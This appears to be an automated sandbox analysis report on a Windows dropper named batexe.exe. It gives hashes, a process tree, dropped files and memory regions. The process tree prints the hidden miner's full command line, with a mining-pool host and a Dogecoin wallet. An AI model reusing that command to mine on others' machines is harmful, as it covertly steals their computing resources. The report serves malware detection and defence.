73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
304s
platform
windows10-1703_x64
resource
win10-20231215-ja
resource tags

arch:x64arch:x86image:win10-20231215-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
11/02/2024, 20:03

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
5012	b2e.exe
1568	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
1568	cpuminer-sse2.exe
1568	cpuminer-sse2.exe
1568	cpuminer-sse2.exe
1568	cpuminer-sse2.exe
1568	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2580-4-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2580 wrote to memory of 5012	2580	batexe.exe	74
PID 2580 wrote to memory of 5012	2580	batexe.exe	74
PID 2580 wrote to memory of 5012	2580	batexe.exe	74
PID 5012 wrote to memory of 3344	5012	b2e.exe	75
PID 5012 wrote to memory of 3344	5012	b2e.exe	75
PID 5012 wrote to memory of 3344	5012	b2e.exe	75
PID 3344 wrote to memory of 1568	3344	cmd.exe	78
PID 3344 wrote to memory of 1568	3344	cmd.exe	78

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2580
- C:\Users\Admin\AppData\Local\Temp\8F5F.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\8F5F.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\8F5F.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:5012
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\91B1.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3344
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:1568

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\8F5F.tmp\b2e.exe

Filesize
6.7MB

MD5
804e5e2d2630dc0a9fc8bffcdbfbff2e

SHA1
169ef52780e7ec08109794099b12b1c151c1a94e

SHA256
29206896f823e36f52aee7dff1bf1a4516a71c0f9577b542cdb93bbf9c092173

SHA512
962f034d8d95fd8d92908103126da03ec9a445fc43e6a0d4ec5be27d0983aa850d0b189b0f7e53f87f573d9d0b9eaafc7d27aaae440cc463b17aedb9b89990ca

Download Submit
C:\Users\Admin\AppData\Local\Temp\8F5F.tmp\b2e.exe

Filesize
8.2MB

MD5
f0f7799148882b6b835b7c6a1f78d35c

SHA1
d1932d07157414e5b1d52bc6ff1fa6bbb6316f61

SHA256
16a2af7bce4e1d110f457a3083c970163ee4809b2397d3c763cfb4899616de76

SHA512
20af93b1a0f652f88684693fc518fbdc4b96e0935bb25d1df63ca393a78ece384b944803ba1360e5fb8da55bff52777d37338b0607e0b0b2bd8924533ca6d461

Download Submit
C:\Users\Admin\AppData\Local\Temp\91B1.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.2MB

MD5
0c187e934af4e9f462af2cb2488232a4

SHA1
e7b5e69016dfe1a049f1060318b9738639edacd1

SHA256
c0c499515cc679a611451a75665492f1a7dee3258a3c4dc92f446ae61f3e37f7

SHA512
d9597b09f614c7e6f647a7a445ce600fed8d22e9b417367cd2e234e6f20816c7055fea6c5c755e9e21198d07a2bb3244fd0d4ac5c1d7c5dadce7b07a1e34488e

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.7MB

MD5
6117d7701df7d61f2391d723fc82860a

SHA1
b64d7d141b797b8d5ac386b63b0487b6b32a850e

SHA256
98ffdeef20aa1d46b9736ffc2d03cae4120b87fbcf884486b06891fa8644fc0e

SHA512
861a4ebbbaac067725e75feba6f85054efc5d77765b8f9ae09ce4e88faa3972ab82b9a903f951ac46aa6a214fcdfe8abfcece33d2063a877f65be18df170e159

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.8MB

MD5
89971e8bc8d638fb823031eddd7ea90f

SHA1
bbaf6de4e51a06996815317a0e3654abdbe0a765

SHA256
2d13991908ec7ce734a7c9fab4779c2313e24086af65b3a25854a1c64801d5c6

SHA512
14f6fd49e333679e68ab549d986ec430439db991bed572235335e970b78c3da74533e4e5162d7a73ddbf3af2d9913157a693626c10fa4ec9b5e84545aebf9be7

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.8MB

MD5
f83e52f86951d3e781a6644bcd1a6f8c

SHA1
8e9ef182bdac37d864f7269028a91468ecf412ec

SHA256
75dbac433fd87bacb7a90668ef0bde321491468403d5a530db916936550a73b9

SHA512
ab20c4562477e4609a7542ec0074c9caab9e9fcf8003166e1969834795d76abf749a3e8a72684193084983cac278041a31eb28b6ca13cde1d0c8a34644c620cb

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/1568-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/1568-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1568-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1568-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1568-42-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/1568-43-0x000000005C0D0000-0x000000005C168000-memory.dmp

Filesize
608KB

Download
memory/1568-44-0x0000000001050000-0x0000000002905000-memory.dmp

Filesize
24.7MB

Download
memory/1568-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1568-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1568-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1568-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1568-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1568-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1568-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1568-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1568-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1568-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2580-4-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/5012-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/5012-6-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download